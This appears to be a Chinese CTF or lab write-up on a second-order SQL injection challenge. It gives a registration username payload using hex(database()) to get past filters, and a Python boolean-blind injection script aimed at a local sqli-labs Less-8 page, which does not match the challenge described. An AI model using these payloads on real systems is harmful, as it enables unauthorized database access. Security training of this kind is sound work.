这是二次注入的关卡 就register.php那边需要用户名 但是登录过程不需要
登陆后可以看到用户名 测试了一下用户名那边过滤了information 和逗号
好再来学一个神奇的sql方式
通过hex将数据库的名字转成十六进制输出
用户名:’+hex(database())+’
数据库名字web
在本地测试下。发现一次HEX。字符串还是会存在英文。会退出。那就2次hex。发现变成了科学计数法。用substr截取就可以了。
上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests url = "http://127.0.0.1/sqli-labs/Less-8"
normalHtmlLen = len(requests.get(url=url+"?id=1").text)
print(str(normalHtmlLen))
dbNameLen = 0 while True: dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+" print(dbNameLen_url) if len(requests.get(dbNameLen_url).text) == normalHtmlLen: print(dbNameLen) break if dbNameLen == 30: print("ERROR") break
dbNameLen +=1
|
结果两次转码一下就完成了